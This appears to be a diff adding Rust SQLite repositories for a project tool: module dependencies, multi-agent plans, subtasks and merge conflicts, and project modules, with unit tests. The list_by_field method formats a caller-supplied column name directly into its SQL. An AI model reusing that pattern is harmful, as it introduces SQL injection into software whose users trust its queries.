let _ = TaskLinkRepo::new(&db);
|
||||
let _ = ProjectEventRepo::new(&db);
|
||||
let _ = ProjectServiceRepo::new(&db);
|
||||
let _ = ProjectModuleRepo::new(&db);
|
||||
let _ = BranchRepo::new(&db);
|
||||
let _ = ReleaseRepo::new(&db);
|
||||
let _ = WorkflowRepo::new(&db);
|
||||
|
||||
95
crates/df-storage/src/crud/module_dependency_repo.rs
Normal file
95
crates/df-storage/src/crud/module_dependency_repo.rs
Normal file
@@ -0,0 +1,95 @@
|
||||
//! 工程依赖关系 — module_dependencies 表 CRUD(V35,工程间依赖边)
|
||||
//!
|
||||
//! 简化版:insert / delete / list_by_field(查 project_id)。
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use rusqlite::{params, Row};
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::db::Database;
|
||||
use crate::models::ModuleDependencyRecord;
|
||||
|
||||
use super::{storage_err};
|
||||
|
||||
fn dep_from_row(row: &Row<'_>) -> std::result::Result<ModuleDependencyRecord, rusqlite::Error> {
|
||||
Ok(ModuleDependencyRecord {
|
||||
id: row.get("id")?,
|
||||
project_id: row.get("project_id")?,
|
||||
from_module_id: row.get("from_module_id")?,
|
||||
to_module_id: row.get("to_module_id")?,
|
||||
dep_type: row.get("dep_type")?,
|
||||
label: row.get("label")?,
|
||||
created_at: row.get("created_at")?,
|
||||
})
|
||||
}
|
||||
|
||||
pub struct ModuleDependencyRepo {
|
||||
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||
}
|
||||
|
||||
impl ModuleDependencyRepo {
|
||||
pub fn new(db: &Database) -> Self {
|
||||
Self { conn: db.conn() }
|
||||
}
|
||||
|
||||
pub async fn insert(&self, record: ModuleDependencyRecord) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let r = &record;
|
||||
let affected = guard
|
||||
.execute(
|
||||
"INSERT INTO module_dependencies \
|
||||
(id, project_id, from_module_id, to_module_id, dep_type, label, created_at) \
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)",
|
||||
params![
|
||||
r.id, r.project_id, r.from_module_id, r.to_module_id,
|
||||
r.dep_type, r.label, r.created_at,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn delete(&self, id: &str) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute("DELETE FROM module_dependencies WHERE id = ?1", params![id])
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn list_by_field(&self, field: &str, value: &str) -> Result<Vec<ModuleDependencyRecord>, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let field = field.to_owned();
|
||||
let value = value.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let sql = format!(
|
||||
"SELECT id, project_id, from_module_id, to_module_id, dep_type, label, created_at \
|
||||
FROM module_dependencies WHERE {field} = ?1 ORDER BY created_at ASC"
|
||||
);
|
||||
let mut stmt = guard.prepare(&sql).map_err(storage_err)?;
|
||||
let rows = stmt
|
||||
.query_map(params![value], dep_from_row)
|
||||
.map_err(storage_err)?;
|
||||
let mut results = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
579
crates/df-storage/src/crud/plan_repo.rs
Normal file
579
crates/df-storage/src/crud/plan_repo.rs
Normal file
@@ -0,0 +1,579 @@
|
||||
//! 多 Agent 并行执行 Repo — ai_plans / ai_subtasks / ai_conflicts 表 CRUD(V36)
|
||||
//!
|
||||
//! 设计依据:docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md §二
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use rusqlite::{params, OptionalExtension, Row};
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::db::Database;
|
||||
use crate::models::{ConflictRecord, PlanRecord, SubTaskRecord};
|
||||
|
||||
use super::storage_err;
|
||||
|
||||
type Result<T> = std::result::Result<T, df_types::error::Error>;
|
||||
|
||||
fn plan_from_row(row: &Row<'_>) -> rusqlite::Result<PlanRecord> {
|
||||
Ok(PlanRecord {
|
||||
id: row.get("id")?,
|
||||
conversation_id: row.get("conversation_id")?,
|
||||
user_message_id: row.get("user_message_id")?,
|
||||
status: row.get("status")?,
|
||||
subtask_count: row.get("subtask_count")?,
|
||||
created_at: row.get("created_at")?,
|
||||
completed_at: row.get("completed_at")?,
|
||||
})
|
||||
}
|
||||
|
||||
fn subtask_from_row(row: &Row<'_>) -> rusqlite::Result<SubTaskRecord> {
|
||||
Ok(SubTaskRecord {
|
||||
id: row.get("id")?,
|
||||
plan_id: row.get("plan_id")?,
|
||||
persona_id: row.get("persona_id")?,
|
||||
intent: row.get("intent")?,
|
||||
status: row.get("status")?,
|
||||
layer: row.get("layer")?,
|
||||
deps: row.get("deps")?,
|
||||
branch: row.get("branch")?,
|
||||
created_at: row.get("created_at")?,
|
||||
completed_at: row.get("completed_at")?,
|
||||
})
|
||||
}
|
||||
|
||||
fn conflict_from_row(row: &Row<'_>) -> rusqlite::Result<ConflictRecord> {
|
||||
Ok(ConflictRecord {
|
||||
id: row.get("id")?,
|
||||
plan_id: row.get("plan_id")?,
|
||||
file_path: row.get("file_path")?,
|
||||
conflict_type: row.get("conflict_type")?,
|
||||
subtask_a: row.get("subtask_a")?,
|
||||
subtask_b: row.get("subtask_b")?,
|
||||
diff_a: row.get("diff_a")?,
|
||||
diff_b: row.get("diff_b")?,
|
||||
resolution: row.get("resolution")?,
|
||||
resolved_by: row.get("resolved_by")?,
|
||||
created_at: row.get("created_at")?,
|
||||
resolved_at: row.get("resolved_at")?,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// PlanRepo
|
||||
// ============================================================
|
||||
|
||||
pub struct PlanRepo {
|
||||
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||
}
|
||||
|
||||
impl PlanRepo {
|
||||
pub fn new(db: &Database) -> Self {
|
||||
Self { conn: db.conn() }
|
||||
}
|
||||
|
||||
pub async fn insert(&self, record: PlanRecord) -> Result<String> {
|
||||
let conn = self.conn.clone();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
guard
|
||||
.execute(
|
||||
"INSERT INTO ai_plans \
|
||||
(id, conversation_id, user_message_id, status, subtask_count, created_at, completed_at) \
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7)",
|
||||
params![
|
||||
record.id, record.conversation_id, record.user_message_id,
|
||||
record.status, record.subtask_count, record.created_at, record.completed_at,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(record.id)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn get(&self, id: &str) -> Result<Option<PlanRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let row = guard
|
||||
.query_row("SELECT * FROM ai_plans WHERE id = ?1", params![id], plan_from_row)
|
||||
.optional()
|
||||
.map_err(storage_err)?;
|
||||
Ok(row)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn update_status(
|
||||
&self,
|
||||
id: &str,
|
||||
status: &str,
|
||||
completed_at: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
let status = status.to_owned();
|
||||
let completed_at = completed_at.map(|s| s.to_owned());
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute(
|
||||
"UPDATE ai_plans SET status = ?1, completed_at = ?2 WHERE id = ?3",
|
||||
params![status, completed_at, id],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn list_by_conversation(&self, conv_id: &str) -> Result<Vec<PlanRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let conv_id = conv_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare("SELECT * FROM ai_plans WHERE conversation_id = ?1 ORDER BY created_at DESC")
|
||||
.map_err(storage_err)?;
|
||||
let rows = stmt.query_map(params![conv_id], plan_from_row).map_err(storage_err)?;
|
||||
let mut results = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// SubTaskRepo
|
||||
// ============================================================
|
||||
|
||||
pub struct SubTaskRepo {
|
||||
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||
}
|
||||
|
||||
impl SubTaskRepo {
|
||||
pub fn new(db: &Database) -> Self {
|
||||
Self { conn: db.conn() }
|
||||
}
|
||||
|
||||
pub async fn insert(&self, record: SubTaskRecord) -> Result<String> {
|
||||
let conn = self.conn.clone();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
guard
|
||||
.execute(
|
||||
"INSERT INTO ai_subtasks \
|
||||
(id, plan_id, persona_id, intent, status, layer, deps, branch, created_at, completed_at) \
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10)",
|
||||
params![
|
||||
record.id, record.plan_id, record.persona_id, record.intent,
|
||||
record.status, record.layer, record.deps, record.branch,
|
||||
record.created_at, record.completed_at,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(record.id)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn list_by_plan(&self, plan_id: &str) -> Result<Vec<SubTaskRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let plan_id = plan_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare("SELECT * FROM ai_subtasks WHERE plan_id = ?1 ORDER BY layer ASC, created_at ASC")
|
||||
.map_err(storage_err)?;
|
||||
let rows = stmt.query_map(params![plan_id], subtask_from_row).map_err(storage_err)?;
|
||||
let mut results = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn update_status(
|
||||
&self,
|
||||
id: &str,
|
||||
status: &str,
|
||||
completed_at: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
let status = status.to_owned();
|
||||
let completed_at = completed_at.map(|s| s.to_owned());
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute(
|
||||
"UPDATE ai_subtasks SET status = ?1, completed_at = ?2 WHERE id = ?3",
|
||||
params![status, completed_at, id],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// ConflictRepo
|
||||
// ============================================================
|
||||
|
||||
pub struct ConflictRepo {
|
||||
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||
}
|
||||
|
||||
impl ConflictRepo {
|
||||
pub fn new(db: &Database) -> Self {
|
||||
Self { conn: db.conn() }
|
||||
}
|
||||
|
||||
pub async fn insert(&self, record: ConflictRecord) -> Result<String> {
|
||||
let conn = self.conn.clone();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
guard
|
||||
.execute(
|
||||
"INSERT INTO ai_conflicts \
|
||||
(id, plan_id, file_path, conflict_type, subtask_a, subtask_b, diff_a, diff_b, \
|
||||
resolution, resolved_by, created_at, resolved_at) \
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12)",
|
||||
params![
|
||||
record.id, record.plan_id, record.file_path, record.conflict_type,
|
||||
record.subtask_a, record.subtask_b, record.diff_a, record.diff_b,
|
||||
record.resolution, record.resolved_by, record.created_at, record.resolved_at,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(record.id)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn list_pending(&self, plan_id: &str) -> Result<Vec<ConflictRecord>> {
|
||||
let conn = self.conn.clone();
|
||||
let plan_id = plan_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare("SELECT * FROM ai_conflicts WHERE plan_id = ?1 AND resolution = 'pending' ORDER BY created_at ASC")
|
||||
.map_err(storage_err)?;
|
||||
let rows = stmt.query_map(params![plan_id], conflict_from_row).map_err(storage_err)?;
|
||||
let mut results = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
pub async fn resolve(
|
||||
&self,
|
||||
id: &str,
|
||||
resolution: &str,
|
||||
resolved_by: &str,
|
||||
resolved_at: &str,
|
||||
) -> Result<bool> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
let resolution = resolution.to_owned();
|
||||
let resolved_by = resolved_by.to_owned();
|
||||
let resolved_at = resolved_at.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let affected = guard
|
||||
.execute(
|
||||
"UPDATE ai_conflicts SET resolution = ?1, resolved_by = ?2, resolved_at = ?3 WHERE id = ?4",
|
||||
params![resolution, resolved_by, resolved_at, id],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::db::Database;
|
||||
|
||||
async fn setup() -> Database {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let conn = db.conn();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
crate::migrations::run(&conn.blocking_lock()).expect("migrations");
|
||||
})
|
||||
.await
|
||||
.expect("spawn_blocking");
|
||||
db
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_01_plan_insert_and_get() {
|
||||
let db = setup().await;
|
||||
let repo = PlanRepo::new(&db);
|
||||
let plan = PlanRecord {
|
||||
id: "plan-001".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: Some("msg-001".into()),
|
||||
status: "planning".into(),
|
||||
subtask_count: 2,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
};
|
||||
let id = repo.insert(plan.clone()).await.unwrap();
|
||||
assert_eq!(id, "plan-001");
|
||||
let got = repo.get("plan-001").await.unwrap().unwrap();
|
||||
assert_eq!(got.status, "planning");
|
||||
assert_eq!(got.subtask_count, 2);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_02_plan_update_status() {
|
||||
let db = setup().await;
|
||||
let repo = PlanRepo::new(&db);
|
||||
repo.insert(PlanRecord {
|
||||
id: "plan-002".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "planning".into(),
|
||||
subtask_count: 0,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(repo.update_status("plan-002", "executing", None).await.unwrap());
|
||||
let got = repo.get("plan-002").await.unwrap().unwrap();
|
||||
assert_eq!(got.status, "executing");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_03_subtask_insert_and_list() {
|
||||
let db = setup().await;
|
||||
let plan_repo = PlanRepo::new(&db);
|
||||
let st_repo = SubTaskRepo::new(&db);
|
||||
plan_repo
|
||||
.insert(PlanRecord {
|
||||
id: "plan-003".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "planning".into(),
|
||||
subtask_count: 2,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
st_repo
|
||||
.insert(SubTaskRecord {
|
||||
id: "st-001".into(),
|
||||
plan_id: "plan-003".into(),
|
||||
persona_id: Some("coder".into()),
|
||||
intent: "读取代码".into(),
|
||||
status: "pending".into(),
|
||||
layer: 0,
|
||||
deps: None,
|
||||
branch: Some("subtask/plan-003/st-001".into()),
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
st_repo
|
||||
.insert(SubTaskRecord {
|
||||
id: "st-002".into(),
|
||||
plan_id: "plan-003".into(),
|
||||
persona_id: Some("coder".into()),
|
||||
intent: "修改代码".into(),
|
||||
status: "pending".into(),
|
||||
layer: 1,
|
||||
deps: Some(r#"["st-001"]"#.into()),
|
||||
branch: Some("subtask/plan-003/st-002".into()),
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
let list = st_repo.list_by_plan("plan-003").await.unwrap();
|
||||
assert_eq!(list.len(), 2);
|
||||
assert_eq!(list[0].layer, 0); // layer 排序
|
||||
assert_eq!(list[1].layer, 1);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_04_subtask_update_status() {
|
||||
let db = setup().await;
|
||||
let plan_repo = PlanRepo::new(&db);
|
||||
let st_repo = SubTaskRepo::new(&db);
|
||||
plan_repo
|
||||
.insert(PlanRecord {
|
||||
id: "plan-004".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "planning".into(),
|
||||
subtask_count: 1,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
st_repo
|
||||
.insert(SubTaskRecord {
|
||||
id: "st-004".into(),
|
||||
plan_id: "plan-004".into(),
|
||||
persona_id: None,
|
||||
intent: "test".into(),
|
||||
status: "pending".into(),
|
||||
layer: 0,
|
||||
deps: None,
|
||||
branch: None,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(st_repo.update_status("st-004", "done", Some("2026-07-01T01:00:00Z")).await.unwrap());
|
||||
let list = st_repo.list_by_plan("plan-004").await.unwrap();
|
||||
assert_eq!(list[0].status, "done");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_05_conflict_insert_and_list_pending() {
|
||||
let db = setup().await;
|
||||
let plan_repo = PlanRepo::new(&db);
|
||||
let conf_repo = ConflictRepo::new(&db);
|
||||
plan_repo
|
||||
.insert(PlanRecord {
|
||||
id: "plan-005".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "merging".into(),
|
||||
subtask_count: 2,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
conf_repo
|
||||
.insert(ConflictRecord {
|
||||
id: "conf-001".into(),
|
||||
plan_id: "plan-005".into(),
|
||||
file_path: "src/main.rs".into(),
|
||||
conflict_type: "file".into(),
|
||||
subtask_a: Some("st-a".into()),
|
||||
subtask_b: Some("st-b".into()),
|
||||
diff_a: Some("-old\n+new_a".into()),
|
||||
diff_b: Some("-old\n+new_b".into()),
|
||||
resolution: "pending".into(),
|
||||
resolved_by: None,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
resolved_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
let pending = conf_repo.list_pending("plan-005").await.unwrap();
|
||||
assert_eq!(pending.len(), 1);
|
||||
assert_eq!(pending[0].file_path, "src/main.rs");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_06_conflict_resolve() {
|
||||
let db = setup().await;
|
||||
let plan_repo = PlanRepo::new(&db);
|
||||
let conf_repo = ConflictRepo::new(&db);
|
||||
plan_repo
|
||||
.insert(PlanRecord {
|
||||
id: "plan-006".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "merging".into(),
|
||||
subtask_count: 1,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
conf_repo
|
||||
.insert(ConflictRecord {
|
||||
id: "conf-002".into(),
|
||||
plan_id: "plan-006".into(),
|
||||
file_path: "src/lib.rs".into(),
|
||||
conflict_type: "semantic".into(),
|
||||
subtask_a: None,
|
||||
subtask_b: None,
|
||||
diff_a: None,
|
||||
diff_b: None,
|
||||
resolution: "pending".into(),
|
||||
resolved_by: None,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
resolved_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert!(
|
||||
conf_repo
|
||||
.resolve("conf-002", "merged", "reviewer", "2026-07-01T02:00:00Z")
|
||||
.await
|
||||
.unwrap()
|
||||
);
|
||||
let pending = conf_repo.list_pending("plan-006").await.unwrap();
|
||||
assert_eq!(pending.len(), 0, "解决后 pending 列表应为空");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn repo_07_subtask_branch_null_for_non_git() {
|
||||
let db = setup().await;
|
||||
let plan_repo = PlanRepo::new(&db);
|
||||
let st_repo = SubTaskRepo::new(&db);
|
||||
plan_repo
|
||||
.insert(PlanRecord {
|
||||
id: "plan-007".into(),
|
||||
conversation_id: "conv-001".into(),
|
||||
user_message_id: None,
|
||||
status: "planning".into(),
|
||||
subtask_count: 1,
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
st_repo
|
||||
.insert(SubTaskRecord {
|
||||
id: "st-007".into(),
|
||||
plan_id: "plan-007".into(),
|
||||
persona_id: None,
|
||||
intent: "非 Git 工程".into(),
|
||||
status: "pending".into(),
|
||||
layer: 0,
|
||||
deps: None,
|
||||
branch: None, // 非 Git 工程
|
||||
created_at: "2026-07-01T00:00:00Z".into(),
|
||||
completed_at: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
let list = st_repo.list_by_plan("plan-007").await.unwrap();
|
||||
assert!(list[0].branch.is_none(), "非 Git 工程 branch 应为 NULL");
|
||||
}
|
||||
}
|
||||
322
crates/df-storage/src/crud/project_module_repo.rs
Normal file
322
crates/df-storage/src/crud/project_module_repo.rs
Normal file
@@ -0,0 +1,322 @@
|
||||
//! 工程系统 — project_modules 表 CRUD(V34,项目多工程,每个工程独立代码仓库)
|
||||
//!
|
||||
//! 对标 [`project_service_repo`] 的风格(手写 Repo,与设计 §五工程系统 IPC 对齐)。
|
||||
//!
|
||||
//! 关键设计:
|
||||
//! - **不存 Git 状态**:分支/改动/最近提交是实时派生的(查 git 命令),不进表;
|
||||
//! 表只存工程元数据(路径/Git 地址/技术栈)。
|
||||
//! - **硬删**:`delete` / `delete_by_project` 物理删除(工程不需要软删审计追溯)。
|
||||
//! - **sort_order 排序**:`list_by_project` 按 `sort_order ASC` 返回,前端工程列表稳定顺序。
|
||||
//! - **auto_detected**:技术栈自动检测标志(扫描目录结构推断),人工覆盖时置 false。
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use rusqlite::{params, Row};
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::db::Database;
|
||||
use crate::models::ProjectModuleRecord;
|
||||
|
||||
use super::{now_millis_str, storage_err};
|
||||
|
||||
// ============================================================
|
||||
// from_row 辅助函数
|
||||
// ============================================================
|
||||
|
||||
fn project_module_from_row(row: &Row<'_>) -> std::result::Result<ProjectModuleRecord, rusqlite::Error> {
|
||||
Ok(ProjectModuleRecord {
|
||||
id: row.get("id")?,
|
||||
project_id: row.get("project_id")?,
|
||||
name: row.get("name")?,
|
||||
path: row.get("path")?,
|
||||
git_url: row.get("git_url")?,
|
||||
stack: row.get("stack")?,
|
||||
auto_detected: row.get("auto_detected")?,
|
||||
sort_order: row.get("sort_order")?,
|
||||
created_at: row.get("created_at")?,
|
||||
updated_at: row.get("updated_at")?,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Repo 实现(手写,参考 project_service_repo.rs 风格)
|
||||
// ============================================================
|
||||
|
||||
/// 工程系统 CRUD(project_modules,V34,可改非审计)。
|
||||
///
|
||||
/// 与 [`ProjectServiceRepo`](super::ProjectServiceRepo) 同款手写 Repo:
|
||||
/// 表有 `updated_at`,但工程无字段级白名单收口需求(无敏感字段、无枚举类型),
|
||||
/// 故不强制走 `impl_repo!` 宏的 `update_field` 路径——`update_full` 整体替换足够。
|
||||
pub struct ProjectModuleRepo {
|
||||
conn: Arc<Mutex<rusqlite::Connection>>,
|
||||
}
|
||||
|
||||
impl ProjectModuleRepo {
|
||||
pub fn new(db: &Database) -> Self {
|
||||
Self { conn: db.conn() }
|
||||
}
|
||||
|
||||
/// 插入一条工程记录。`created_at` / `updated_at` 由本方法内部取当前毫秒覆盖。
|
||||
/// 返回插入是否成功(affected > 0)。
|
||||
pub async fn insert(&self, record: ProjectModuleRecord) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let now = now_millis_str();
|
||||
let mut rec = record;
|
||||
rec.created_at = now.clone();
|
||||
rec.updated_at = now;
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let conn = &*guard;
|
||||
let r = &rec;
|
||||
let affected = conn
|
||||
.execute(
|
||||
"INSERT INTO project_modules \
|
||||
(id, project_id, name, path, git_url, stack, auto_detected, sort_order, created_at, updated_at) \
|
||||
VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10)",
|
||||
params![
|
||||
r.id, r.project_id, r.name, r.path,
|
||||
r.git_url, r.stack, r.auto_detected, r.sort_order,
|
||||
r.created_at, r.updated_at,
|
||||
],
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
Ok(affected > 0)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按 id 查询工程记录。
|
||||
pub async fn get_by_id(&self, id: &str) -> Result<Option<ProjectModuleRecord>, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let id = id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare("SELECT * FROM project_modules WHERE id = ?1")
|
||||
.map_err(storage_err)?;
|
||||
let row = stmt
|
||||
.query_row(params![id], project_module_from_row)
|
||||
.optional()
|
||||
.map_err(storage_err)?;
|
||||
Ok(row)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 按项目查询全部工程(命中 idx_project_modules_project,按 sort_order ASC 稳定排序)。
|
||||
pub async fn list_by_project(
|
||||
&self,
|
||||
project_id: &str,
|
||||
) -> Result<Vec<ProjectModuleRecord>, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let project_id = project_id.to_owned();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let mut stmt = guard
|
||||
.prepare(
|
||||
"SELECT id, project_id, name, path, git_url, stack, auto_detected, sort_order, created_at, updated_at \
|
||||
FROM project_modules WHERE project_id = ?1 ORDER BY sort_order ASC",
|
||||
)
|
||||
.map_err(storage_err)?;
|
||||
let rows = stmt
|
||||
.query_map(params![project_id], project_module_from_row)
|
||||
.map_err(storage_err)?;
|
||||
let mut results = Vec::new();
|
||||
for r in rows {
|
||||
results.push(r.map_err(storage_err)?);
|
||||
}
|
||||
Ok(results)
|
||||
})
|
||||
.await
|
||||
.map_err(storage_err)?
|
||||
}
|
||||
|
||||
/// 整体更新工程记录(全可变字段,保留 id 与 created_at,updated_at 内部覆盖)。
|
||||
/// 返回是否命中(affected > 0)。
|
||||
pub async fn update_full(&self, record: &ProjectModuleRecord) -> Result<bool, df_types::error::Error> {
|
||||
let conn = self.conn.clone();
|
||||
let mut rec = record.clone();
|
||||
rec.updated_at = now_millis_str();
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let guard = conn.blocking_lock();
|
||||
let conn = &*guard;
|
||||
let r = &rec;
|
||||
let affected = conn
|
||||
.execute(
|
||||
